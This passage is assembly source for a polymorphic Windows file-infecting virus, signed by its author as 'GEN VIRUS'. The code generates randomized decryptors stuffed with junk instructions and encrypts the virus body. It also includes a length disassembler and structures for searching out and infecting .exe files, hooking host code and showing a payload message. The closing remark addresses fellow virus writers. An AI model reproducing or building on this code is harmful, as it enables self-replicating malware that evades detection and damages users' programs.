[ebp].poly_decrypt_reg,4 jz _xor_edi _xor_eax: mov word ptr[edi],3081h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _xor_ebx: mov word ptr[edi],3381h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _xor_edx: mov word ptr[edi],3281h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _xor_esi: mov word ptr[edi],3681h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _xor_edi: mov word ptr[edi],3781h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _algo_add: cmp [ebp].poly_decrypt_reg,0 jz _add_eax cmp [ebp].poly_decrypt_reg,1 jz _add_ebx cmp [ebp].poly_decrypt_reg,2 jz _add_edx cmp [ebp].poly_decrypt_reg,3 jz _add_esi cmp [ebp].poly_decrypt_reg,4 jz _add_edi _add_eax: mov word ptr[edi],0081h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _add_ebx: mov word ptr[edi],0381h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _add_edx: mov word ptr[edi],0281h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _add_esi: mov word ptr[edi],0681h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _add_edi: mov word ptr[edi],0781h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _algo_sub: cmp [ebp].poly_decrypt_reg,0 jz _sub_eax cmp [ebp].poly_decrypt_reg,1 jz _sub_ebx cmp [ebp].poly_decrypt_reg,2 jz _sub_edx cmp [ebp].poly_decrypt_reg,3 jz _sub_esi cmp [ebp].poly_decrypt_reg,4 jz _sub_edi _sub_eax: mov word ptr[edi],2881h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _sub_ebx: mov word ptr[edi],2b81h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _sub_edx: mov word ptr[edi],2a81h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _sub_esi: mov word ptr[edi],2e81h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f _sub_edi: mov word ptr[edi],2f81h inc edi inc edi mov eax,[ebp].poly_key mov dword ptr[edi],eax add edi,4 jmp @f @@: ;循环移动[Rx]里面的数据 cmp [ebp].poly_algo2,0 jz _rol cmp [ebp].poly_algo2,1 jz _ror _rol: cmp [ebp].poly_decrypt_reg,0 jz _rol_eax cmp [ebp].poly_decrypt_reg,1 jz _rol_ebx cmp [ebp].poly_decrypt_reg,2 jz _rol_edx cmp [ebp].poly_decrypt_reg,3 jz _rol_esi cmp [ebp].poly_decrypt_reg,4 jz _rol_edi _rol_eax: mov word ptr[edi],000c1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _rol_ebx: mov word ptr[edi],003c1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _rol_edx: mov word ptr[edi],002c1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _rol_esi: mov word ptr[edi],006c1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _rol_edi: mov word ptr[edi],007c1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _ror: cmp [ebp].poly_decrypt_reg,0 jz _ror_eax cmp [ebp].poly_decrypt_reg,1 jz _ror_ebx cmp [ebp].poly_decrypt_reg,2 jz _ror_edx cmp [ebp].poly_decrypt_reg,3 jz _ror_esi cmp [ebp].poly_decrypt_reg,4 jz _ror_edi _ror_eax: mov word ptr[edi],008c1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _ror_ebx: mov word ptr[edi],00bc1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _ror_edx: mov word ptr[edi],00ac1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _ror_esi: mov word ptr[edi],00ec1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f _ror_edi: mov word ptr[edi],00fc1h inc edi inc edi mov eax,[ebp].poly_slide_key mov byte ptr[edi],al inc edi jmp @f @@: ;保存ecx,和解密寄存器 cmp [ebp].poly_decrypt_reg,0 jz _save_eax cmp [ebp].poly_decrypt_reg,1 jz _save_ebx cmp [ebp].poly_decrypt_reg,2 jz _save_edx cmp [ebp].poly_decrypt_reg,3 jz _save_esi cmp [ebp].poly_decrypt_reg,4 jz _save_edi _save_eax: mov byte ptr[edi],50h inc edi jmp @f _save_ebx: mov byte ptr[edi],53h inc edi jmp @f _save_edx: mov byte ptr[edi],52h inc edi jmp @f _save_esi: mov byte ptr[edi],56h inc edi jmp @f _save_edi: mov byte ptr[edi],57h inc edi @@: ;push ecx mov byte ptr[edi],51h inc edi ;随机插入垃圾指令 call gen_jump_stack_ins ;产生一个1 ~ 5随机指令 mov eax,5 call rand inc eax xor ecx,ecx call gen_rand_ins ;pop ecx mov byte ptr[edi],59h inc edi ;弹出pop Rx(解密寄存器) pop ecx cmp [ebp].poly_decrypt_reg,0 jz _pop2_eax cmp [ebp].poly_decrypt_reg,1 jz _pop2_ebx cmp [ebp].poly_decrypt_reg,2 jz _pop2_edx cmp [ebp].poly_decrypt_reg,3 jz _pop2_esi cmp [ebp].poly_decrypt_reg,4 jz _pop2_edi _pop2_eax: mov byte ptr[edi],58h inc edi jmp @f _pop2_ebx: mov byte ptr[edi],5bh inc edi jmp @f _pop2_edx: mov byte ptr[edi],5ah inc edi jmp @f _pop2_esi: mov byte ptr[edi],5eh inc edi jmp @f _pop2_edi: mov byte ptr[edi],5fh inc edi @@: ;随机插入一个无效指令 mov eax,10 call rand add eax,8 mov ebx,eax call fill_invalid_ins ;add Rx,4 cmp [ebp].poly_decrypt_reg,0 jz _add2_eax cmp [ebp].poly_decrypt_reg,1 jz _add2_ebx cmp [ebp].poly_decrypt_reg,2 jz _add2_edx cmp [ebp].poly_decrypt_reg,3 jz _add2_esi cmp [ebp].poly_decrypt_reg,4 jz _add_edi _add2_eax: mov word ptr[edi],0c083h inc edi inc edi mov byte ptr[edi],4 inc edi jmp @f _add2_ebx: mov word ptr[edi],0c383h inc edi inc edi mov byte ptr[edi],4 inc edi jmp @f _add2_edx: mov word ptr[edi],0c283h inc edi inc edi mov byte ptr[edi],4 inc edi jmp @f _add2_esi: mov word ptr[edi],0c683h inc edi inc edi mov byte ptr[edi],4 inc edi jmp @f _add2_edi: mov word ptr[edi],0c783h inc edi inc edi mov byte ptr[edi],4 inc edi @@: ;随机插入一个无效指令 mov eax,10 call rand add eax,8 mov ebx,eax call fill_invalid_ins ;计算一个loop 的地址 , loop offset = 当前地址 - 保存时的地址 -2 mov eax,[ebp].vir_t_3 sub eax,edi sub eax,2 mov byte ptr[edi],0e2h inc edi mov byte ptr[edi],al inc edi ;随机指令 @@: ;填充后面的空间 push edi sub edi,[ebp].poly_dna3_start_addr mov eax,de_DNA3_size - 1 sub eax,edi pop edi call gen_set_size_code_block ;call fill_invalid_ins mov byte ptr[edi],0c3h ret generate_DNA3 endp ;___in eax --> 产生指令个数 ;___in ecx --> 产生指令的类型 gen_rand_ins proc mov edx,eax @@: call mig dec edx test edx,edx jnz @b ret gen_rand_ins endp ;产生指定长度的代码块 ;___in edi --> 要写入的位置 ;___in eax --> 要写入的长度 gen_set_size_code_block proc ;pushad mov ebx,edi mov [ebp].poly_dna_size,eax cmp eax,30h jg @f jmp _w @@: mov eax,2;随机产生call or jmp 指令 call rand inc eax ; mov ecx,eax call mig ;计算剩余长度 mov esi,edi sub esi,ebx mov eax,[ebp].poly_dna_size sub eax,esi ;剩余长度 mov [ebp].poly_dna_size,eax mov ebx,edi _w: mov esi,edi sub esi,ebx add esi,6 cmp [ebp].poly_dna_size,esi ; 小于最大值的3个字节,后面用无效指令填充 jb _fill ;产生通用类型的指令 xor ecx,ecx call mig jmp _w _fill: mov eax,edi sub eax,ebx ;计算差值 mov ebx,[ebp].poly_dna_size sub ebx,eax xchg eax,ebx cmp eax,6 jz _6 cmp eax,5 jz _5 cmp eax,4 jz _4 cmp eax,3 jz _3 cmp eax,2 jz _2 cmp eax,1 jz _1 _6: call gen_ins_6_byte jmp @f _5: call gen_ins_3_byte call gen_ins_1_byte call gen_ins_1_byte jmp @f _4: call gen_ins_2_byte call gen_ins_2_byte jmp @f _3: call gen_ins_3_byte jmp @f _2: call gen_ins_2_byte jmp @f _1: call gen_ins_1_byte @@: ;popad call gen_ins_1_byte ret gen_set_size_code_block endp vir_start proc call my_delta call my_get_k32_base_addr call my_get_apis_addr call my_set_director call my_find_director call my_payload call my_exit ret vir_start endp ;产生一个密钥key的寄存器(ecx,poly_decrypt_reg除外) get_key_reg proc @@: mov eax,5 call rand cmp eax,[ebp].poly_decrypt_reg jz @b mov [ebp].poly_key_reg,eax ret get_key_reg endp ;产生跳转及堆栈改变类指令 ;___in edi ,要写入的缓冲区 gen_jump_stack_ins proc mov eax,3 call rand xor ecx,ecx cmp eax,0 jz _call cmp eax,1 jz _jump cmp eax,2 jz _push_pop _call: mov eax,3 call rand inc eax inc ecx call gen_rand_ins jmp @f _jump: mov eax,3 call rand inc eax mov ecx,2 call gen_rand_ins jmp @f _push_pop: cmp eax,3 call rand inc eax mov ecx,3 call gen_rand_ins jmp @f @@: ret gen_jump_stack_ins endp ;用无效指令填充一块区域 ;___ebx 要填充的长度 fill_invalid_ins proc f_s: mov eax,7 call rand cmp eax,6 jz _f6 cmp eax,5 jz _f5 cmp eax,4 jz _f4 cmp eax,3 jz _f3 cmp eax,2 jz _f2 cmp eax,1 jz _f1 cmp eax,0 _f6: cmp ebx,6 jl _f5 call gen_ins_6_byte sub ebx,6 jmp @f _f5: cmp ebx,5 jl _f4 call gen_ins_3_byte call gen_ins_2_byte sub ebx,5 jmp @f _f4: cmp ebx,4 jl _f3 call gen_ins_3_byte call gen_ins_1_byte sub ebx,4 jmp @f _f3: cmp ebx,3 jl _f2 call gen_ins_2_byte call gen_ins_1_byte sub ebx,3 jmp @f _f2: cmp ebx,2 jl _f1 call gen_ins_2_byte sub ebx,2 jmp @f _f1: call gen_ins_1_byte dec ebx @@: cmp ebx,0 jnz f_s ret fill_invalid_ins endp ;加密病毒自身数据 ;__in edi,要加密的数据地址 encrypt_code proc ;mov ecx,[ebp].poly_decrypt_len mov ecx,encrypt_size encrypt: push ecx cmp [ebp].poly_algo2,0 jz _rol cmp [ebp].poly_algo2,1 jz _ror _rol: ;rol 情况,加密取相反情况 cmp [ebp].poly_algo1,0 jz _rol_xor cmp [ebp].poly_algo1,1 jz _rol_add cmp [ebp].poly_algo1,2 jz _rol_sub _rol_xor: mov ecx,[ebp].poly_slide_key mov ebx,[edi] ror ebx,cl mov [edi],ebx mov eax,[ebp].poly_key xor dword ptr[edi],eax jmp @f _rol_add: mov ecx,[ebp].poly_slide_key mov ebx,[edi] ror ebx,cl mov [edi],ebx mov eax,[ebp].poly_key sub dword ptr[edi],eax jmp @f _rol_sub: mov eax,[ebp].poly_slide_key mov ebx,[edi] ror ebx,cl mov [edi],ebx mov eax,[ebp].poly_key add dword ptr[edi],eax jmp @f _ror: cmp [ebp].poly_algo1,0 jz _ror_xor cmp [ebp].poly_algo1,1 jz _ror_add cmp [ebp].poly_algo1,2 jz _ror_sub jmp @f _ror_xor: mov ecx,[ebp].poly_slide_key mov ebx,[edi] rol ebx,cl mov dword ptr[edi],ebx mov eax,[ebp].poly_key xor dword ptr[edi],eax jmp @f _ror_add: mov ecx,[ebp].poly_slide_key mov ebx,[edi] rol ebx,cl mov dword ptr[edi],ebx mov eax,[ebp].poly_key sub dword ptr[edi],eax jmp @f _ror_sub: mov ecx,[ebp].poly_slide_key mov ebx,[edi] rol ebx,cl mov dword ptr[edi],ebx mov eax,[ebp].poly_key add dword ptr[edi],eax @@: pop ecx add edi,4 sub ecx,4 cmp ecx,0 jg encrypt ret encrypt_code endp ;-------------------------------------------------------------------------------------------------------- ;|catchy32.inc | ;-------------------------------------------------------------------------------------------------------- ;SIZE=580 bytes ;Version: ;1.0-test version ;1.1-added: support prefix ;1.2-added: TableEXT ;1.3-added: support for 0F6h and 0F7h groups ;1.4-tables fixed ; -SIB byte handling fixed ;1.5-code fixed&optimized ; -processing 0F6h and 0F7h groups is corrected ; -processing 0A0h-0A3h groups is corrected ;1.6-code fixed ; -added: max lenght=15 bytes ;1.7 ; 14.7.2004 90210 ; -ptoto changed to __cdecl DWORD c_Catchy(PVOID pDisasmAddr) ; -written c header ;==================================================================== ;(c) sars [HI-TECH] 2003 ;sars@ukrtop.com ;==================================================================== pref66h equ 1 pref67h equ 2 ;__in stack ;demo push 401000h ; call _c_Catchy ;---------------Initial adjustment---------------- _c_Catchy: pushad call c_Delta ; 90210 ;------------Delta-offset calculation------------- c_Delta: pop ebp sub ebp, offset c_Delta xor ecx, ecx mov esi, [esp+32+4] ; 从堆栈里取出来要分析的指令的地址,放到esi中 ;----Flags extraction, checks for some opcodes---- c_ExtFlags: xor eax, eax xor ebx, ebx cdq ;扩展eax值到edx lodsb ;al <- opcode 读取一个字节到al mov cl, al ;cl <- opcode cmp al, 0fh ;Test on prefix 0Fh 看是否有前缀 je c_ExtdTable cmp word ptr [esi-1], 20CDh ;Test on VXD call 是否是vxd 指令 jne c_NormTable inc esi ;If VXD call (int 20h), then command length is 6 bytes lodsd jmp c_CalcLen c_ExtdTable: ;Load flags from extended table lodsb inc ah ;EAX=al+100h (100h/2 - lenght first table) c_NormTable: ;Load flags from normal table shr eax, 1 ;Elements tables on 4 bits ;fix by nEINEI mov al, byte ptr [c_Table+eax+ebp] -->原引擎代码,使用了绝对偏移,故修改为+ebp修正 c_CheckC1: jc c_IFC1 shr eax, 4 ;Get high 4-bits block if offset is odd, otherwise... c_IFC1: and eax, 0Fh ;...low xchg eax, ebx ;EAX will be needed for other purposes ;--------------Opcode type checking--------------- c_CheckFlags: cmp bl, 0Eh ;Test on ErrorFlag je c_Error cmp bl, 0Fh ;Test on PrefixFlag je c_Prefix or ebx, ebx ;One byte command jz c_CalcLen btr ebx, 0 ;Command with ModRM byte jc c_ModRM btr ebx, 1 ;Test on imm8,rel8 etc flag jc c_incr1 btr ebx, 2 ;Test on ptr16 etc flag jc c_incr2 ;-----imm16/32,rel16/32, etc types processing----- c_16_32: and bl, 11110111b ;Reset 16/32 sign cmp cl, 0A0h ;Processing group 0A0h-0A3h jb c_Check66h cmp cl, 0A3h ja c_Check66h test ch, pref67h jnz c_incr2 jmp c_incr4 c_Check66h: ;Processing other groups test ch, pref66h jz c_incr4 jmp c_incr2 ;---------------Prefixes processing--------------- c_Prefix: cmp cl, 66h je c_SetFlag66h cmp cl, 67h jne c_ExtFlags c_SetFlag67h: or ch, pref67h jmp c_ExtFlags c_SetFlag66h: or ch, pref66h jmp c_ExtFlags ;--------------ModR/M byte processing------------- c_ModRM: lodsb c_Check_0F6h_0F7h: ;Check on 0F6h and 0F7h groups cmp cl, 0F7h je c_GroupF6F7 cmp cl, 0F6h jne c_ModXX c_GroupF6F7: ;Processing groups 0F6h and 0F7h test al, 00111000b jnz c_ModXX test cl, 00000001b jz c_incbt1 test ch, 1 jnz c_incbt2 inc esi inc esi c_incbt2: inc esi c_incbt1: inc esi c_ModXX: ;Processing MOD bits mov edx, eax and al, 00000111b ;al <- only R/M bits test dl, 11000000b ;Check MOD bits jz c_Mod00 jp c_CheckFlags ;Or c_Mod11 js c_Mod10 c_Mod01: test ch, pref67h jnz c_incr1 ;16-bit addressing cmp al, 4 ;Check SIB je c_incr2 jmp c_incr1 c_Mod00: test ch, pref67h jz c_Mod00_32 ;32-bit addressing cmp al, 6 je c_incr2 jmp c_CheckFlags c_Mod00_32: cmp al, 4 ;Check SIB jne c_disp32 c_SIB: ;Processing SIB byte lodsb and al, 00000111b cmp al, 5 je c_incr4 jmp c_CheckFlags c_disp32: cmp al, 5 je c_incr4 jmp c_CheckFlags c_Mod10: test ch, pref67h jnz c_incr2 ;16-bit addressing cmp al, 4 ;Check SIB je c_incr5 jmp c_incr4 c_incr5: inc esi c_incr4: inc esi inc esi c_incr2: inc esi c_incr1: inc esi jmp c_CheckFlags ;-----------Command length calculation------------ c_CalcLen: sub esi, [esp+32+4*1] ; 90210 cmp esi, 15 ja c_Error mov [esp+4*7], esi jmp c_Exit ;----------------Setting the error---------------- c_Error: xor eax, eax dec eax mov [esp+4*7], eax ;---------Restore the registers and exit---------- c_Exit: popad ret include optable.inc ;-------------------------------------------------------------------------------------------------------- ;|genmeta.inc | ;-------------------------------------------------------------------------------------------------------- ;------------------------------ 基因函数地址 ---------------------------------------------------------- DNA_VIR_INTRONS STRUC dna_cnt dd 5 dna_1 dd my_decrypt_DNA0;my_delta dna_2 dd my_decrypt_DNA1;my_get_k32_base_addr dna_3 dd my_decrypt_DNA2;my_get_apis_addr dna_4 dd my_decrypt_DNA3;my_set_director dna_5 dd my_decrypt_DNA4;my_find_director dna_6 dd 0;my_payload dna_7 dd 0;my_exit dna_end dd 0 DNA_VIR_INTRONS ENDS ;------------------------------ 加密基因函数地址 --------------------------------------- ;定义加密基因函数的地址 ;------------------------------------------------------------------------------------- DNA_ENCRYPT_VIR_INTRONS STRUC dna_1 dd my_decrypt_DNA0 dna_2 dd my_decrypt_DNA1 dna_3 dd my_decrypt_DNA2 dna_4 dd my_decrypt_DNA3 dna_5 dd my_decrypt_DNA4 dna_end dd 0 DNA_ENCRYPT_VIR_INTRONS ENDS ;------------------------------ 每一个基因函数的到stub的相对偏移 --------------------- DNA_VIR_OFFSET STRUC dna_1_off dd offset my_decrypt_DNA0 - offset v_code;my_delta - offset v_code dna_2_off dd offset my_decrypt_DNA1 - offset v_code;my_get_k32_base_addr - offset v_code dna_3_off dd offset my_decrypt_DNA2 - offset v_code;my_get_apis_addr - offset v_code dna_4_off dd offset my_decrypt_DNA3 - offset v_code;my_set_director - offset v_code dna_5_off dd offset my_decrypt_DNA4 - offset v_code;my_find_director - offset v_code DNA_VIR_OFFSET ends ;------------------------------ 要hook的每一个host的偏移 ------=---------------------- HOST_VIR_OFFSET STRUC host_1_off dd 0 host_2_off dd 0 host_3_off dd 0 host_4_off dd 0 host_5_off dd 0 host_6_off dd 0 host_7_off dd 0 HOST_VIR_OFFSET ends ;------------------------------ virus的寄存器组----------------------------------------- VIRUS_REG_GROUP STRUC vrg_eax dd 0 vrg_ecx dd 0 vrg_edx dd 0 vrg_ebx dd 0 vrg_esp dd 0 vrg_ebp dd 0 vrg_esi dd 0 vrg_edi dd 0 VIRUS_REG_GROUP ends ;------------------------------ safe api 函数结构 --------------------------------------- SAFE_APIS_STRUCT struc api_crc32 dd 0 ; api_param dd 0 ;浪费一点空间,为了对齐 api_address dd 0 ;写入的新的地址值 SAFE_APIS_STRUCT ends ;------------------------------end safe api 函数结构 ------------------------------------ ;------------------------------ 交叉感染点结构 --------------------------------------- CROSS_POINT struc cross_1 dd 0 ; cross_2 dd 0 ; cross_3 dd 0 ; cross_4 dd 0 ; cross_5 dd 0 ; cross_6 dd 0 ; cross_7 dd 0 ; cross_8 dd 0 ; cross_9 dd 0 ; cross_10 dd 0 ; cross_11 dd 0 ; cross_12 dd 0 ; cross_13 dd 0 ; cross_14 dd 0 ; CROSS_POINT ends ;------------------------------end 交叉感染点结构 ------------------------------------ ;搜索文件结构 Win32_Find_Data STRUC FileAttributes dd 0 CreateTime dq 0 LastAccessTime dq 0 LastWriteTime dq 0 FileSizeHigh dd 0 FileSizeLow dd 0 Reserved0 dd 0 Reserved1 dd 0 FullFileName db 260 dup(0) AlternateFileName db 14 dup(0) Win32_Find_Data ENDS ; genmeta 变量结构 GEN_VIR_STRUCT struct aLoadLibrary dd ? ; 0 aCloseHandle dd ? ; 4 aGetCurrentDirectory dd ? ; 8 aMultiByteToWideChar dd ? ; 12 aFindFirstFile dd ? ; 16 aFindNextFile dd ? ; 20 aFindClose dd ? ; 24 aCreateFile dd ? ; 28 aCreateFileMapping dd ? ; 32 aMapViewOfFile dd ? ; 36 aUnmapViewOfFile dd ? ; 40 aExitProcess dd ? ; 44 aGetFileSize dd ? ; 48 aOutputDebugString dd ? ; 52 aGetProcAddress dd ? aSetFilePointer dd ? aSetEndOfFile dd ? aSetCurrentDirectoryA dd ? aMsg dd ? dir_buff db 260 dup(0) find_exe_name db "*.exe",0 w32_f_d Win32_Find_Data <> infect_filename dd ? find_file_hd dd ? infect_file_hd dd ? infect_file_size dd ? infect_hmap dd ? infect_hMem dd ? infect_pe_header dd ? ;被感染文件的PE头指针 infect_pe_sec_align dd ? infect_pe_fil_align dd ? infect_pe_new_eip dd 0 ;计算出感染后virus开始位置应该的rva,该值每次都改变 infect_pe_old_eop dd 0 ;宿主eop的rva infect_imagebase dd ? ;宿主的imagebase infect_pe_director dd ? ;pe头的mulberry infect_raw_vir_start dd ? ;计算出感染后的virus开始位置的raw infect_image_start dd 0 ;感染部分的开始地址,是相对于内存映射到,比如300000是映射到基址,那么infect_image_start可能是304000,记录该值用于后面的重定位。 infect_garbage_sec_size dd 0 ;傀儡节点数据大小 ;host pe 结构 number_of_sect dd ? ptr_opt_header dd ? ptr_sect_headers dd ? self_cur_rva_vir_start dd 1000h ;vrius自身当前的开始位置的rva,1代时,该值为自身入口点值1000h,n代后是感染后的rva。 self_jmp_eip dd 0 self_reloc dd 0 self_begin dd ? self_end dd ? ;start 遗传变形相关 ------------------------------------------------ vir_cur_exec_dna dd 0 ;病毒当前执行的DNA个数,因为不受宿主的跳转路径不影响,hook宿主指令/DNA 数量 = 一个DNA要hook的指令数量 vir_dna_table DNA_VIR_INTRONS <> vir_dna_offset DNA_VIR_OFFSET <> vir_host_offset HOST_VIR_OFFSET <> random_seed dd ? vir_cross_cnt dd 0 ;可能的感染点个数 vir_cross CROSS_POINT <> ;感染交叉点地址 vir_op_cross_size dd ? ;进行交叉点感染时查找的指令可能长度 alloc_buf dd 0 alloc_size dd 0 alloc_stub_rand_size dd 0 ;每次产生随机的stub长度 alloc_meta_body_size dd 0 ;变形的病毒体大小 curr_stub_start dd 0 ;每次产生一个stub时的偏移,也就是当时的edi的值,保留该值用于对修改宿主程序时,进行重定位 ;start safe api 相关----------------------------------------------- ke_safe_api dd offset kernel32_safe_api ke_safe_size dd (offset ke_end - offset ke_start) /sizeof SAFE_APIS_STRUCT us_safe_api dd offset user_safe_api us_safe_size dd (offset user_end - offset user_start)/sizeof SAFE_APIS_STRUCT ws_safe_api dd offset ws2_safe_api ws_safe_size dd (offset ws2_end - offset ws2_start) /sizeof SAFE_APIS_STRUCT gd_safe_api dd offset gdi_safe_api gd_safe_size dd (offset gdi_end - offset gdi_start) /sizeof SAFE_APIS_STRUCT ;随机混淆点 sa_rand_cnt dd 0 ;每次随机产生safe api 的数量 sa_mod_rand_address dd 0 ;每次随机产生的safe api 模块的偏移,目前包括4大模块 sa_mod_rand_size dd 0 ;每次随机产生的safe api 模块的大小,也就是那4个模块中某一个的大小 hook_host_ins_len dd 0 ;要hook的host指令长度 hook_host_off dd 0 ;要hook的host指令偏移 reg_ctx VIRUS_REG_GROUP<> ; virus的寄存器组 ;---------------------------------注意--再增加的所有值均写在下面 -------------------------------------------------- encrypt_dna_table DNA_ENCRYPT_VIR_INTRONS <> poly_use_reg dd 0 ;poly中产生的寄存器 poly_dna_size dd 0 ;poly中DNA函数的长度 poly_key dd 0 ;保存解密的密钥 poly_slide_key dd 0 ;滑动密钥 poly_algo1 dd 0 ;加密算法1 (xor/add/sub) poly_algo2 dd 0 ;key-sliding (ROL/ROR) poly_decrypt_reg dd 0 ;解密过程中产生的随机寄存器(ecx除外,0-eax,1-ebx,2-edx,3-esi,4-edi) poly_key_reg dd ? ;解密过程中产生的密钥key使用的寄存器(ecx,poly_decrypt_reg除外,0-eax,1-ebx,2-edx,3-esi,4-edi) poly_decrypt_len dd 0 ;要加/解密的长度 poly_decrypt_address dd 0 ;要加/解密的首地址 poly_dna3_start_addr dd 0 ;解密函数DNA3的开始,用于产生解密代码后,填充后面的数据空间 total_hook_ins_len dd 0 ;统计可能要hook host 的长度 total_hook_ins_off dd 0 ;统计可能要hook host 的偏移 section_stub_edi_off dd 0 ;每一次突变时edi最初的偏移,用于修正host时,重定位用 ;-----------------------------------payload msg --------------------------------------------------- mod_user32 db "user32.dll",0 s_msgbox db "MessageBoxA",0 payload_title db "Hello, Nightmare is coming!",0 paylaod_dna4 db "DNA4",0 paylaod_dna5 db "DNA5",0 paylaod_dna6 db "DNA6,Exec virus payload...",0 paylaod_dna7 db "DNA7,virus exit",0 payload_msg db "GEN VIRUS by nEINEI",0 ;tmp 数据利用在解密全局数据前用-------------------------------------- vir_t_1 dd 0 vir_t_2 dd 0 vir_t_3 dd 0 vir_t_4 dd 0 ;------------------- 为了加/解密产生32bit密钥,后面两个变量用于对齐 vir_tmp dd ? vir_tmp2 dd ? GEN_VIR_STRUCT ends //--------------------------------------- thanks sars(optable代码),Dark Prophet(一些好用的函数) 以及vxer们思路. 目前为止,越来越多的vxer关注了这个方向,各自实现了不同的版本,SPTH持续创新了多个技术,了不起:) 希望更多vxer创造新技术。